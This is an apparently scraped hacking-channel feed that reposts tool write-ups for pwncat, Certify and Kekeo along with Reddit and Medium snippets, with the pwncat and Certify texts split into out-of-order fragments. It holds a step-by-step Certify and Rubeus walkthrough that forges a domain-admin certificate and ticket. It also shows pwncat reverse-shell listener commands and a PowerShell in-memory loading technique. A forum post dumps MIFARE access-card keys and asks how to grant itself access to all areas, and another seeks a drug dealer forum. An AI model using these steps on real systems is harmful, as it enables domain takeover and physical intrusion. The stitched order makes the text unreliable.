Kali Linux Tutorials
Pwncat : Fancy Reverse And Bind Shell Handler

Pwncat is a post-exploitation platform for Linux targets. It started out as a wrapper around basic bind and reverse shells and has grown from there. It streamlines common red team operations while staging code from your attacker machine, not the target.

pwncat used to only support Linux, but there has been a lot of work recently to support multiple platforms. Currently, there is alpha support for Windows targets. Please see the latest documentation for details on how to use pwncat with a Windows target.

pwncat intercepts the raw communication with a remote shell and allows the user to perform automated actions on the remote host including enumeration, implant installation and even privilege escalation.

After receiving a connection, pwncat will setup some common configurations for working with remote shells.

* Disable history in the remote shell
* Normalize shell prompt
* Locate useful binaries (using which)
* Attempt to spawn a pseudo-terminal (pty) for a full interactive session pwncatknows how to spawn pty’s with a few different methods and will cross-reference the methods with the executables previously enumerated. After spawning a pty, it will setup the controlling terminal in raw mode, so you can interact in a similar fashion to ssh. pwncatwill also synchronize the remote pty settings (such as rows, columns, TERMenvironment variable) with your local settings to ensure the shell behaves correctly with interactive applications such as vimor nano.

John Hammond and I presented pwncatat GRIMMCon. Our presentation, which can be found on YouTube here. This video demonstrates an early version of the API and interface. Please refer to the documentation for up to date usage and API documentation!

pwncat documentation is being built out on Read the Docs. Head there for the latest usage and development documentation!

pwncat requires Python 3.9+ on Linux Windows Support pwncatnow supports connections from Windows targets starting at v0.4.0a1. The Windows platform utilizes a .Net-based C2 library which is loaded automatically. Windows targets should connect with either a cmd.exeor powershell.exeshell, and pwncat will take care of the rest.

The libraries implementing the C2 are implemented at pwncat-windows-c2. The DLLs for the C2 will be automatically downloaded from the targeted release for you. If you do not have internet connectivity on your target machine, you can tell pwncat to pre-stage the DLLs using the --download-pluginsargument. If you are running a release version of pwncat, you can also download a tarball of all built-in plugins from the releases page.

The plugins are stored by default in ~/.local/share/pwncat, however this is configurable with the plugin_pathconfiguration. If you download the packaged set of plugins from the releases page, you should extract it to the path pointed to by plugin_path.

Aside from the main C2 DLLs, other plugins may also be available. Currently, the only provided default plugins are the C2 and an implementation of BadPotato. pwncat can reflectively load .Net binaries to be used a plugins for the C2. For more information on Windows C2 plugins, please see the documentation. Version Details

Currently, there are two versions of pwncat available. The last stable version is v0.3.1. There is a tagged commit for that version. It does not support multiple platforms or multi-session interaction. The documentation for that version is still available on Read the Docs as the stableversion.

The current masterbranch is v0.4.3. This version has overhauled a lot of the framework[...]

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Certify : Active Directory Certificate Abuse

Certify is a C# tool to enumerate and abuse misconfigurations in Active Directory Certificate Services (AD CS).

Usage

C:\Tools>Certify.exe
_ _ _ / | | | ()/ |
| | _ _ | |_ | | _ _
| | / _ \ ‘| | | | | | | | || / | | || | | | || | __|| _||| __, |
/ | |_./
v1.0.0
Find information about all registered CAs:
Certify.exe cas [/ca:SERVER\ca-name | /domain:domain.local | /path:CN=Configuration,DC=domain,DC=local] [/hideAdmins] [/showAllPermissions] [/skipWebServiceChecks] [/quiet]
Find all enabled certificate templates:
Certify.exe find [/ca:SERVER\ca-name | /domain:domain.local | /path:CN=Configuration,DC=domain,DC=local] [/quiet]
Find vulnerable/abusable certificate templates using default low-privileged groups:
Certify.exe find /vulnerable [/ca:SERVER\ca-name | /domain:domain.local | /path:CN=Configuration,DC=domain,DC=local] [/quiet]
Find vulnerable/abusable certificate templates using all groups the current user context is a part of:
Certify.exe find /vulnerable /currentuser [/ca:SERVER\ca-name | /domain:domain.local | /path:CN=Configuration,DC=domain,DC=local] [/quiet]
Find enabled certificate templates where ENROLLEE_SUPPLIES_SUBJECT is enabled:
Certify.exe find /enrolleeSuppliesSubject [/ca:SERVER\ca-name| /domain:domain.local | /path:CN=Configuration,DC=domain,DC=local] [/quiet]
Find enabled certificate templates capable of client authentication:
Certify.exe find /clientauth [/ca:SERVER\ca-name | /domain:domain.local | /path:CN=Configuration,DC=domain,DC=local] [/quiet]
Find all enabled certificate templates, display all of their permissions, and don’t display the banner message:
Certify.exe find /showAllPermissions /quiet [/ca:COMPUTER\CA_NAME | /domain:domain.local | /path:CN=Configuration,DC=domain,DC=local]
Find all enabled certificate templates and output to a json file:
Certify.exe find /json /outfile:C:\Temp\out.json [/ca:COMPUTER\CA_NAME | /domain:domain.local | /path:CN=Configuration,DC=domain,DC=local]
Enumerate access control information for PKI objects:
Certify.exe pkiobjects [/domain:domain.local] [/showAdmins] [/quiet]
Request a new certificate using the current user context:
Certify.exe request /ca:SERVER\ca-name [/subject:X] [/template:Y] [/install]
Request a new certificate using the current machine context:
Certify.exe request /ca:SERVER\ca-name /machine [/subject:X] [/template:Y] [/install]
Request a new certificate using the current user context but for an alternate name (if supported):
Certify.exe request /ca:SERVER\ca-name /template:Y /altname:USER
Request a new certificate on behalf of another user, using an enrollment agent certificate:
Certify.exe request /ca:SERVER\ca-name /template:Y /onbehalfof:DOMAIN\USER /enrollcert:C:\Temp\enroll.pfx [/enrollcertpw:CERT_PASSWORD]
Download an already requested certificate:
Certify.exe download /ca:SERVER\ca-name /id:X [/install] [/machine]
Certify completed in 00:00:00.0200190

Using Requested Certificates

Certificates can be transformed to .pfx’s usable with Certify with:

openssl pkcs12 -in cert.pem -keyex -CSP “Microsoft Enhanced Cryptographic Provider v1.0” -export -out cert.pfx

Certificates can be used with Rubeus to request a TGT with:

Rubeus.exe asktgt /user:X /certificate:C:\Temp\cert.pfx /password:

Example Walkthrough

First, use Certify.exe to see if there are any vulnerable templates:

C:\Temp>Certify.exe find /vulnerable
_ _ _ / | | | ()/ |
| | _ _ | |_ | | _ _
| | / _ \ ‘| | | | | | | | || / | | || | | | || | __|| _||| __, |
/ | |_./
v1.0.0
[] Action: Find certificate templates [] Using the search base ‘CN=Configuration,DC=theshire,DC=local’
[] Restricting to CA name : dc.theshire.local\theshire-DC-CA [] Listing info about the Enterprise CA ‘theshire-DC-CA’
Enterprise CA Name : theshire-DC-CA
DNS Hostname : dc.theshire.local
FullName : dc.thes[...]

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Kekeo : A Little Toolbox To Play With Microsoft Kerberos In C

Kekeo is a little toolbox I have started to manipulate Microsoft Kerberos in C (and for fun)

ASN.1 library

In kekeo, I use an external commercial library to deal with Kerberos ASN.1 structures: OSS ASN.1/C (http://www.oss.com/asn1/products/asn1-c/asn1-c.html)
It was the only code generator/library that I’ve found to work easily with Microsoft C project.

* works without a lots of dependencies;
* magical documentation;
* wonderful support for my stupid questions;
* had a binary that work only few hours after started my project…

They were kind enough to offer me a 1-year licence.
With this one, I’m able to let you download binaries that run in your environment.
So don’t forget to thank them ( http://www.oss.com/company/contact-us.html / https://twitter.com/OSSNokalva )

Limitations

* Binaries will work until December 21, 2017 (yeah, 1 year licence ;));
* You must buy a licence from OSS ASN.1/C (or download a trial version) to build kekeosolution/adapt it.
* http://www.oss.com/asn1/products/asn1-c/asn1-c.html
* When you register for a free trial, don’t forget to refer me in the description field https://s.w.org/images/core/emoji/13.1.0/72x72/1f609.png (kekeo or gentilkiwi)
Building kekeowith ASN.1/C

You can’t build kekeoout-of-the-box, you’have to generate C files and link with OSS libraries.

After downloading and installing a commercial/trial version of OSS ASN.1/C, Win32and/or x64:

* Open a command prompt in ($kekeo)\modules\asn1
* Adapt the ASN1Cvariable to your ASN.1/C configuration (architecture & version)

set ASN1C=”C:\Program Files\OSS Nokalva\ossasn1\winx64\10.4.0″

* Depending on the targeted lib architecture:

Win32

%ASN1C%\bin\asn1.exe ^
%ASN1C%\asn1dflt\asn1dflt.ms.zp4 ^
KerberosV5Spec2.asn KerberosV5-PK-INIT-SPEC.asn PKIX1Explicit88.asn PKINIT.asn MS-SFU-KILE.asn ^
-noSampleCode -der -root -CStyleComments -externalName kekeo_asn1 -messageFormat msvc -verbose ^
-headerFile kull_m_kerberos_oss_asn1_internal.h -soedFile kull_m_kerberos_oss_asn1_internal_Win32.c

x64
%ASN1C%\bin\asn1.exe ^
%ASN1C%\asn1dflt\asn1dflt.msx64.zp8 ^
KerberosV5Spec2.asn KerberosV5-PK-INIT-SPEC.asn PKIX1Explicit88.asn PKINIT.asn MS-SFU-KILE.asn ^
-noSampleCode -der -root -CStyleComments -externalName kekeo_asn1 -messageFormat msvc -verbose ^
-headerFile kull_m_kerberos_oss_asn1_internal.h -soedFile kull_m_kerberos_oss_asn1_internal_x64.c

Header file kull_m_kerberos_oss_asn1_internal.his the same for both architecture.

* Copy from OSS ASN.1/C install dir (eg: C:\Program Files\OSS Nokalva\ossasn1\winx64\10.4.0)
* include\ossasn1.hto ($kekeo)\inc
* include\osstype.hto ($kekeo)\inc
* lib\soeddefa.libto ($kekeo)\lib\{Win32 or x64}
* lib\ossiphlp.libto ($kekeo)\lib\{Win32 or x64}
You can now build the kekeosolution in Visual Studio
Download

___________________________
@hacking_Attack
@Hacking_Video

to support multiple platforms and multi-session environments. Documentation for this version is available in the latestversion on Read the Docs.

v0.3.1 will not be updated further Modules

Recently, the architecture of the pwncat framework was redesigned to incorporate a generic “module” structure. All functionality is now implemented as modules. This includes enumeration, persistence and privilege escalation. Interacting with modules is similar to most other post-exploitation platforms. You can utilize the familiar run, searchand infocommands and enter module contexts with the usecommand. Refer to the documentation for more information. Install pwncatonly depends on a working Python development environment running on Linux. In order to install some of the packages required with pip, you will likely need your distribution’s “Python Development” package. On Debian based systems, this is python-dev. For Arch, the development files are shipped with the main Python repository. For Enterprise Linux, the package is named python-devel. pwncatis configured as a standard python package with distutils. You can install pwncatdirectly from GitHub with:

pip install git+https://github.com/calebstewart/pwncat.git

Or, you can install after cloning the repository with:

python setup.py install

It is recommended to install pwncat from a virtual environment.

python3 -m venv pwncat-env
source pwncat-env/bin/activate
python setup.py install

If you would like to develop custom privilege escalation or persistence modules, we recommend you use the developtarget vice the installtarget for setup.py. This allows changes to the local repository to immediately be observed with your installed package.

The setup script will install three binaries. They are all identical, but provide convenience aliases for pwncat. The three binaries are: pwncat, pcand pcatBlackArch Packaging

Installation on BlackArch is as simple as:

pacman -Syu pwncat-caleb

Connecting To A Victim

The command line parameters for pwncat attempt to be flexible and accept a variety of common connection syntax. Specifically, it will try to accept common netcat and ssh like syntax. The following are all valid:

#Connect to a bind shell
pwncat connect://10.10.10.10:4444
pwncat 10.10.10.10:4444
pwncat 10.10.10.10 4444
#Listen for reverse shell
pwncat bind://0.0.0.0:4444
pwncat 0.0.0.0:4444
pwncat :4444
pwncat -lp 4444
#Connect via ssh
pwncat ssh://user:password@10.10.10.10
pwncat user@10.10.10.10
pwncat user:password@10.10.10.10
pwncat -i id_rsa user@10.10.10.10
#SSH w/ non-standard port
pwncat -p 2222 user@10.10.10.10
pwncat user@10.10.10.10:2222
#Reconnect utilizing installed persistence
#If reconnection fails and no protocol is specified,
#SSH is used as a fallback.
pwncat reconnect://user@10.10.10.10
pwncat reconnect://user@c228fc49e515628a0c13bdc4759a12bf
pwncat user@10.10.10.10
pwncat c228fc49e515628a0c13bdc4759a12bf
pwncat 10.10.10.10

By default, pwncat assumes the target platform is Linux. In order to connect to a Windows reverse or bind shell, you must pass the --platform/-margument:

pwncat -m windows 10.10.10.10 4444
pwncat -m windows -lp 4444

For more information on the syntax and argument handling, see the help information with pwncat --helpor visit the documentation. Docker Image

The recommended installation method is a Python virtual environment. This provides the easiest day-to-day usage of pwncat. However, there has been interest in using pwncatfrom a docker image, so I have provided a Dockerfile which provides a working pwncatinstallation. To build the image use:

docker build -t pwncat .

This w[...]

___________________________
@hacking_Attack
@Hacking_Video

hire.local\theshire-DC-CA
Flags : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
Cert SubjectName : CN=theshire-DC-CA, DC=theshire, DC=local
Cert Thumbprint : 187D81530E1ADBB6B8B9B961EAADC1F597E6D6A2
Cert Serial : 14BFC25F2B6EEDA94404D5A5B0F33E21
Cert Start Date : 1/4/2021 10:48:02 AM
Cert End Date : 1/4/2026 10:58:02 AM
Cert Chain : CN=theshire-DC-CA,DC=theshire,DC=local
UserSpecifiedSAN : Disabled
CA Permissions :
Owner: BUILTIN\Administrators S-1-5-32-544
Access Rights Principal
Allow ManageCA, ManageCertificates BUILTIN\Administrators S-1-5-32-544
Allow ManageCA, ManageCertificates THESHIRE\Domain Admins S-1-5-21-937929760-3187473010-80948926-512
Allow ManageCA, Read, Enroll THESHIRE\Domain Users S-1-5-21-937929760-3187473010-80948926-513
[!] Low-privileged principal has ManageCA rights!
Allow Enroll THESHIRE\Domain Computers S-1-5-21-937929760-3187473010-80948926-515
Allow ManageCA, ManageCertificates THESHIRE\Enterprise Admins S-1-5-21-937929760-3187473010-80948926-519
Allow ManageCertificates, Enroll THESHIRE\certmanager S-1-5-21-937929760-3187473010-80948926-1605
Allow ManageCA, Enroll THESHIRE\certadmin S-1-5-21-937929760-3187473010-80948926-1606
Enrollment Agent Restrictions :
Everyone S-1-1-0
Template :
Targets :
Everyone S-1-1-0
Everyone S-1-1-0
Template : User
Targets :
Everyone S-1-1-0
Vulnerable Certificates Templates :
CA Name : dc.theshire.local\theshire-DC-CA
Template Name : User2
Validity Period : 2 years
Renewal Period : 6 weeks
msPKI-Certificates-Name-Flag : SUBJECT_ALT_REQUIRE_UPN, SUBJECT_REQUIRE_DIRECTORY_PATH
mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PEND_ALL_REQUESTS, PUBLISH_TO_DS, AUTO_ENROLLMENT
Authorized Signatures Required : 0
pkiextendedkeyusage : Client Authentication, Smart Card Logon
Permissions
Enrollment Permissions
Enrollment Rights : THESHIRE\Domain Admins S-1-5-21-937929760-3187473010-80948926-512
THESHIRE\Enterprise Admins S-1-5-21-937929760-3187473010-80948926-519
All Extended Rights : THESHIRE\Domain Users S-1-5-21-937929760-3187473010-80948926-513
Object Control Permissions
Owner : THESHIRE\localadmin S-1-5-21-937929760-3187473010-80948926-1000
Full Control Principals : THESHIRE\Domain Users S-1-5-21-937929760-3187473010-80948926-513
WriteOwner Principals : NT AUTHORITY\Authenticated UsersS-1-5-11
THESHIRE\Domain Admins S-1-5-21-937929760-3187473010-80948926-512
THESHIRE\Domain Users S-1-5-21-937929760-3187473010-80948926-513
THESHIRE\Enterprise Admins S-1-5-21-937929760-3187473010-80948926-519
WriteDacl Principals : NT AUTHORITY\Authenticated UsersS-1-5-11
THESHIRE\Domain Admins S-1-5-21-937929760-3187473010-80948926-512
THESHIRE\Domain Users S-1-5-21-937929760-3187473010-80948926-513
THESHIRE\Enterprise Admins S-1-5-21-937929760-3187473010-80948926-519
WriteProperty Principals : NT AUTHORITY\Authenticated UsersS-1-5-11
THESHIRE\Domain Admins S-1-5-21-937929760-3187473010-80948926-512
THESHIRE\Domain Users S-1-5-21-937929760-3187473010-80948926-513
THESHIRE\Enterprise Admins S-1-5-21-937929760-3187473010-80948926-519
CA Name : dc.theshire.local\theshire-DC-CA
Template Name : VulnTemplate
Validity Period : 3 years
Renewal Period : 6 weeks
msPKI-Certificates-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT
mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS
Authorized Signatures Required : 0
pkiextendedkeyusage : Client Authentication, Encrypting File System, Secure Email
Permissions
Enrollment Permissions
Enrollment Rights : THESHIRE\Domain Admins S-1-5-21-937929760-3187473010-80948926-512
THESHIRE\Domain Users S-1-5-21-937929760-3187473010-80948926-513
THESHIRE\Enterprise Admins S-1-5-21-937929760-3187473010-80948926-519 Object Control Permissions
Owner : THESHIRE\localadmin S-1-5-21-937929760-3187473010-80948926-1000
WriteOwner Principals : THESHIRE\Domain Admins S-1-5-21-937929760-3187473010-80948926-512
THESHIRE\Enterprise Admins S-1-5-21-937929760-3187473010-80948926-519
THE[...]

___________________________
@hacking_Attack
@Hacking_Video

ill build the pwncatdocker image with the tag “pwncat”. The working directory within the container is /work. The entry point for the container is the pwncatbinary. It can be used like so:

#Connect to a bind shell at 10.0.0.1:4444
docker run -v “/some/directory”:/work -t pwncat 10.0.0.1 4444

In this example, only the files in /some/directoryare exposed to the container. Obviously, for upload/download, the container will only be able to see the files exposed through any mounted directories. Features And Functionality pwncatprovides two main features. At it’s core, it’s goal is to automatically setup a remote PseudoTerminal (pty) which allows interaction with the remote host much like a full SSH session. When operating in a pty, you can use common features of your remote shell such as history, line editing, and graphical terminal applications.

The other half of pwncatis a framework which utilizes your remote shell to perform automated enumeration, persistence and privilege escalation tasks. The local pwncatprompt provides a number of useful features for standard penetration tests including:

* File upload and download
* Automated privilege escalation enumeration
* Automated privilege escalation execution
* Automated persistence installation/removal
* Automated tracking of modified/created files
* pwncatalso offers the ability to revert these remote “tampers” automatically
The underlying framework for interacting with the remote host aims to abstract away the underlying shell and connection method as much as possible, allowing commands and plugins to interact seamlessly with the remote host.

You can learn more about interacting with pwncatand about the underlying framework in the documentation. If you have an idea for a new privilege escalation method or persistence method, please take a look at the API documentation specifically. Pull requests are welcome! Planned Features

pwncat would like to be come a red team swiss army knife. Hopefully soon, more features will be added.

* More privilege escalation methods (sudo -u#-1 CVE, LXD containers, etc.)
* Persistence methods (bind shell, cronjobs, SSH access, PAM abuse, etc.)
* Aggression methods (spam randomness to terminals, flush firewall, etc.)
* Meme methods (terminal-parrot, cowsay, wall, etc.)
* Network methods (port forward, internet access through host, etc.) Known Issues

Because pwncatis trying to abstractly interact with any shell with minimal remote system dependencies, there are some edge cases we have found. Where we find them, we do everything we can to account for them and hide them from the user. However, some have slipped through the cracks and been observed in the wild. When this happens, pwncatwill do whatever it can to preserve your terminal, but you may be greeted with some peculiar output or command failures. BSD Support

While BSD is a Unix-based kernel, in practice it’s userland tools are noticeably different from their Linux counterparts. Due to this, many of the automated features of pwncatwill not work or outright fail when running against a BSD based target. I have tried to catch all errors or edge cases, however there are likely some hiccups which haven’t been fully tested against BSD. In any case, the stabilized shell should function within a BSD environment, but I don’t provide any guarantees.

If I find some time later down the road, I may try to stabilize pwncaton BSD, but for now my focus is on Linux-based distributions. If you’d like to contribute to making pwncatbehave better on BSD, you are more then welcome to reach out or just fork the repo. As always, pull requests are welcome! Download

___________________________
@hacking_Attack
@Hacking_Video

SHIRE\localadmin S-1-5-21-937929760-3187473010-80948926-1000
WriteDacl Principals : THESHIRE\Domain Admins S-1-5-21-937929760-3187473010-80948926-512
THESHIRE\Enterprise Admins S-1-5-21-937929760-3187473010-80948926-519
THESHIRE\localadmin S-1-5-21-937929760-3187473010-80948926-1000
WriteProperty Principals : THESHIRE\Domain Admins S-1-5-21-937929760-3187473010-80948926-512
THESHIRE\Enterprise Admins S-1-5-21-937929760-3187473010-80948926-519
THESHIRE\localadmin S-1-5-21-937929760-3187473010-80948926-1000
Certify completed in 00:00:00.6548319

Given the above results, we have the three following issues:

* THESHIRE\Domain Usershave ManageCA permissions over the dc.theshire.local\theshire-DC-CACA (ESC7)
* This means that the EDITF_ATTRIBUTESUBJECTALTNAME2 flag can be flipped on the CA by anyone.

* THESHIRE\Domain Usershave full control over the User2 template (ESC4)
* This means that anyone can flip the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag on this template and remove the PEND_ALL_REQUESTS issuance requirement.

* THESHIRE\Domain Userscan enroll in the VulnTemplate template, which can be used for client authentication and has ENROLLEE_SUPPLIES_SUBJECT set (ESC1)
* This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA).
We’ll show the abuse of scenario 3.

Next, let’s request a new certificate for this template/CA, specifying a DA localadminas the alternate principal:

C:\Temp>Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:VulnTemplate /altname:localadmin
_ _ _ / | | | ()/ |
| | _ _ | |_ | | _ _
| | / _ \ ‘| | | | | | | | || / | | || | | | || | __|| _||| __, |
/ | |_./
v1.0.0
[] Action: Request a Certificates [] Current user context : THESHIRE\harmj0y
[] No subject name specified, using current context as subject. [] Template : VulnTemplate
[] Subject : CN=harmj0y, OU=TestOU, DC=theshire, DC=local [] AltName : localadmin
[] Certificate Authority : dc.theshire.local\theshire-DC-CA [] CA Response : The certificate had been issued.
[] Request ID : 337 [] cert.pem :
—–BEGIN RSA PRIVATE KEY—–
MIIEpAIBAAKCAQEAn8bKuwCYj8…
—–END RSA PRIVATE KEY—–
—–BEGIN CERTIFICATE—–
MIIGITCCBQmgAwIBAgITVQAAAV…
—–END CERTIFICATE—–
[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP “Microsoft Enhanced Cryptographic Provider v1.0” -export -out cert.pfx
Certify completed in 00:00:04.2127911

Copy the -----BEGIN RSA PRIVATE KEY----- ... -----END CERTIFICATE-----section to a file on Linux/macOS, and run the openssl command to convert it to a .pfx. When prompted, don’t enter a password:

(base) laptop:~ harmj0y$ openssl pkcs12 -in cert.pem -keyex -CSP “Microsoft Enhanced Cryptographic Provider v1.0” -export -out cert.pfx
Enter Export Password:
Verifying – Enter Export Password:
(base) laptop:~ harmj0y$

Finally, move the cert.pfx to your target machine filesystem (manually or through Cobalt Strike), and request a TGT for the altnameuser using Rubeus:

C:\Temp>Rubeus.exe asktgt /user:localadmin /certificate:C:\Temp\cert.pfx
_ _ ( \ | |
) )_ | | _ | _ /| | | | _ | _ | | | |/) | | \ | || | |) ) | || | | || ||/|/|)/(_/
v1.6.1
[] Action: Ask TGT [] Using PKINIT with etype rc4_hmac and subject: CN=harmj0y, OU=TestOU, DC=theshire, DC=local
[] Building AS-REQ (w/ PKINIT preauth) for: ‘theshire.local\localadmin’ [+] TGT request successful! [] base64(ticket.kirbi):
doIFujCCBbagAwIBBaEDAgEWooIExzCC…(snip)…
ServiceName : krbtgt/theshire.local
ServiceRealm : THESHIRE.LOCAL
UserName : localadmin
UserRealm : THESHIRE.LOCAL
StartTime : 2/22/2021 2:06:51 PM
EndTime : 2/22/2021 3:06:51 PM
RenewTill : 3/1/2021 2:06:51 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : Etb5WPFWeMbsZr2+FQQQMw==

Defensive Considerations

Certify was released at Black Hat 2021 with our “[...]

___________________________
@hacking_Attack
@Hacking_Video

Certified Pre-Owned: Abusing Active Directory Certificate Services” talk.

The TypeRefHash of the current Certify codebase is f9dbbfe2527e1164319350c0b0900c58be57a46c53ffef31699ed116a765995a.

The TypeLib GUID of Certify is 64524ca5-e4d0-41b3-acc3-3bdbefd40c97. This is reflected in the Yara rules currently in this repo.

See our whitepaper for prevention and detection guidance. Compile Instructions

We are not planning on releasing binaries for Certify, so you will have to compile yourself https://s.w.org/images/core/emoji/13.1.0/72x72/1f642.png

Certify has been built against .NET 4.0 and is compatible with Visual Studio 2019 Community Edition. Simply open up the project .sln, choose “Release”, and build. Sidenote: Running Certify Through PowerShell

If you want to run Certify in-memory through a PowerShell wrapper, first compile the Certify and base64-encode the resulting assembly:

[Convert]::ToBase64String([IO.File]::ReadAllBytes(“C:\Temp\Certify.exe”)) | Out-File -Encoding ASCII C:\Temp\Certify.txt

Certify can then be loaded in a PowerShell script with the following (where “aa…” is replaced with the base64-encoded Certify assembly string):

$CertifyAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String(“aa…”))

The Main() method and any arguments can then be invoked as follows: Sidenote Sidenote: Running Certify Over PSRemotingDue to the way PSRemoting handles output, we need to redirect stdout to a string and return that instead. Luckily, Certify has a function to help with that.

If you follow the instructions in Sidenote: Running Certify Through PowerShell to create a Certify.ps1, append something like the following to the script:

Reflections

On the subject of public disclosure, we self-embargoed the release of our offensive tooling (Certify as well as ForgeCert) for ~45 days after we published our whitepaper in order to give organizations a chance to get a grip on the issues surrounding Active Directory Certificate Services. We also preemptively released some Yara rules/IOCs for both projects and released the defensive-focused PSPKIAudit PowerShell project along with the whitepaper. However, we have found that organizations and vendors have historically often not fixed issues or built detections for “theoretical” attacks until someone proves something is possible with a proof of concept. Download

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
salto codes

ive managed to find the keys that our company uses to store the salto data on the mifare clasic cards just wonderin if anyone could help me with what it means and how i could change it to get acess all areas?

code start:

+Sector: 0

C4EB408AE5880400C852002000000020

00000000000000000000000000000000

00000000000000000000000000000000

FFFFFFFFFFFFFF078069FFFFFFFFFFFF

+Sector: 1

00000000000000000000000000000000

00000000000000000000000000000000

00000000000000000000000000000000

FFFFFFFFFFFFFF078069FFFFFFFFFFFF

+Sector: 2

00000000000000000000000000000000

00000000000000000000000000000000

00000000000000000000000000000000

FFFFFFFFFFFFFF078069FFFFFFFFFFFF

+Sector: 3

00000000000000000000000000000000

00000000000000000000000000000000

00000000000000000000000000000000

FFFFFFFFFFFFFF078069FFFFFFFFFFFF

+Sector: 4

00000000000000000000000000000000

00000000000000000000000000000000

00000000000000000000000000000000

FFFFFFFFFFFFFF078069FFFFFFFFFFFF

+Sector: 5

00000000000000000000000000000000

00000000000000000000000000000000

00000000000000000000000000000000

6A1987C40A21F78F005A7F33625BC129

+Sector: 6

00000000000000000000000000000000

00000000000000000000000000000000

00000000000000000000000000000000

6A1987C40A21F78F005A7F33625BC129

+Sector: 7

00000000000000000000000000000000

00000000000000000000000000000000

00000000000000000000000000000000

6A1987C40A21F78F005A7F33625BC129

+Sector: 8

D106F78D0D57C1C98B327D4F37D0E370

A96E31C7CE4A276DA2D9E567912715A5

73CA0A3DD7F027710000000000000000

6A1987C40A21F78F005A7F33625BC129

+Sector: 9

00000000000000000000000000000000

0000FF7F1FA22D599682C28589932202

D53DD22050079123CADF07D925C2AA79

6A1987C40A21F78F005A7F33625BC129

+Sector: 10

8B852B249F1E680365D0C53B76F0C5F6

3F400000000000000000000000000000

00000000000000000000000000000000

6A1987C40A21F78F005A7F33625BC129

+Sector: 11

86A8B2858E217848EB9AB64586674861

F880B85733D60423B46C83CCE21683B0

B0EFE99313D7B634D0C8A1E0B27B1C65

6A1987C40A21F78F005A7F33625BC129

+Sector: 12

A52A1618EFFFECC5723F7DAE4EAB6866

09424D80AD093D733EB8C911B8C84BD5

0A0227767D53AEA2E282D104CEA33318

6A1987C40A21F78F005A7F33625BC129

+Sector: 13

B45FA3737248CD485E4690079D27CF68

C9354E48728A75763690A6E1C205E05F

4181E9D5ADFDD79521AF80F2308D56B8

6A1987C40A21F78F005A7F33625BC129

+Sector: 14

322400E60000001A00000000FC000000

00BD42F779CE87DE4693078A673D1BB0

5958057BCCFBA333B44E8A8435D754EA

6A1987C40A21F78F005A7F33625BC129

+Sector: 15

E0FF00000048EF481F00FFFFFFB710B7

FF813800100200BA0000000000000000

FFFF0EF101A1EBED92C688EF61DBF234

6A1987C40A21F78F005A7F33625BC129

submitted by /u/samwisedrn
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
just started learning with try hack me!

Its only the basics but it's pretty fun! :)

submitted by /u/SoulBoiii
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Just found out lost Wordpress website (hacked). What can I do better next time?

I really believe this is a product from switching hosting providers, last month was using A2hosting for 67 $ usd a month VPS for 2 years, switched over to a single Wordpress hosting plan on Interserver for 8 Dollars. Took no backup of website, site took years to curate categories and minimum 400 word Descriptions for each one, ontop of content. Essentially my fault for not taking a backup. My Cpanel is still showing last login from a German VPN.

Aside from not using current host, what plugins would you suggest I use ? If you're going to run a WordPress site at all, what's your prefered environment or OS? I went through breakthroughs in past 12 months with personal problems that prevented me from learning what to do on the server-side of a website. Not going to depend on Fiverr anymore. Any advice is highly appreciated!

submitted by /u/ToneOnTheTrack
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Deep Web
Is there a Reddit of the deep web?

is there something on the deep web like Reddit? or more specifically a drug dealer form?

submitted by /u/Temptation808
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Projects of our Hackday 2021

https://cdn-images-1.medium.com/max/2600/1*Wwd56zrWbUdQnmx855XNng.jpeg
Same as last year, I organized an Hackday at my current company. Luckily, we could spend this year together in the office, and not…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
My journey so far and how I got into hacking

Introduction

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Hackers’ use of Swift network means banks worldwide need deeper layers of security defense

A NUMBER OF HIGH-PROFILE — AND HIGH COST — CYBER HEISTS THAT LEVERAGED THE INTERNATIONAL SWIFT NETWORK TO EXECUTE LARGE-SCALE FRAUDULENT…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video